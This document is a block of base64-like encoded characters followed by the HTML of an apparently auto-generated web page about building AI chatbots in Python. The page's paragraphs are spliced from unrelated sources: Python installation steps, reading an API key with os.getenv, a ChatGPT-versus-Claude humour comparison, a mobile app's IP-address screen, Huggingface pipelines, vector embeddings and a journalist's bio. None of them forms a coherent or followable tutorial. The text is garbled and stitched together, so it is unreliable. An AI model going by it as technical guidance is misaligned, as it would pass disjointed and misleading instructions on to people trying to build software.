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width="308px" alt="ai chat bot python"/></p>
<p><p>In an earlier tutorial, we demonstrated how you can train a custom AI chatbot using ChatGPT API. While it works quite well, we know that once your free OpenAI credit is exhausted, you need to pay for the API, which is not affordable for everyone. In addition, several users are not comfortable sharing confidential data with OpenAI.</p>
</p>
<p><h2>Querying Google In Python for ChatBot Replies</h2>
</p>
<p><p>In case you don’t know, Pip is the package manager for Python. Basically, it enables you to install thousands of Python libraries from the Terminal. Next, run the setup file and make sure to enable the checkbox for “Add Python.exe to PATH.” This is an extremely important step. After that, click on “Install Now” and follow the usual steps to install Python.</p>
</p>
<p><h3>How to Make a Chatbot in Python: Step by Step &#8211; Simplilearn</h3>
<p>How to Make a Chatbot in Python: Step by Step.</p>
<p>Posted: Wed, 13 Nov 2024 08:00:00 GMT [<a href='https://news.google.com/rss/articles/CBMijgFBVV95cUxQYTlQc3RVZU80MXpNZ3RCTi1rNExoUUFaa3dqTGlsQ2MwbzRiYTIzWnkzaTdOaEhvQUNuaUR2YXh0WmttX0xHSUk0MGRLYk5lanlNYVZPSmIxemx5TzhNRGs1LV9mc3JKV2J0OEpUaTNva3Y5VWQzbmZNdUJPTjk0c0YtRjdBRVdOcVV0VzNn?oc=5' rel="nofollow">source</a>]</p>
</p>
<p><p>Both chatbots offered specific suggestions, a nuanced argument and give an overview of why this is important to consider but Claude is more honest and specific. Claude’s story was more funny throughout, focusing on slapstick rather than specific jokes. It also better understood the prompt, asking for a cat on a rock rather than talking to one. Where ChatGPT actually created one-liner jokes, Claude embedded the one-liners in the narrative. Next, I wanted to test two things —&nbsp;how well the AI can write humor and how well it can follow a simple story-length instruction.</p>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://www.metadialog.com/wp-content/uploads/2023/07/the-result-of-integration-2-1.webp" width="305px" alt="ai chat bot python"/></p>
<p><p>By using the os.getenv() function, you can access the value of the environment variable you set earlier. Ensure the environment variable is correctly set before running your Python script. For those out of the loop, consider this key as your backstage pass, unlocking ChatGPT’s prowess directly in your chatbot interface.</p>
</p>
<p><p>We can achieve this with a new initial interface that appears every time you open the application. It&#8217;s a simple View with a button, a text view to enter the IP address and a small text label to give live information of what was happening to the user, as you can see above. As can be seen in the script, the pipeline instance allows us to select the LLM model that will be executed at the hosted node. This provides us with access to all those uploaded to the Huggingface website, with very diverse options such as code generation models, chat, general response generation, etc.</p>
</p>
<p><p>These agents serve a range of purposes, from grounded question/answering to interfacing with APIs or executing actions. Vector embedding serves as a form of data representation imbued with semantic information, aiding AI systems in comprehending data effectively while maintaining long-term memory. Fundamental to learning any new concept is grasping its essence and retaining it over time. To see if Anthropic&#8217;s claims hold up to real-world scrutiny I created a series of tests for both models and was shocked by the result. Alex McFarland is an AI journalist and writer exploring the latest developments in artificial intelligence. He has collaborated with numerous AI startups and publications worldwide.</p></p>
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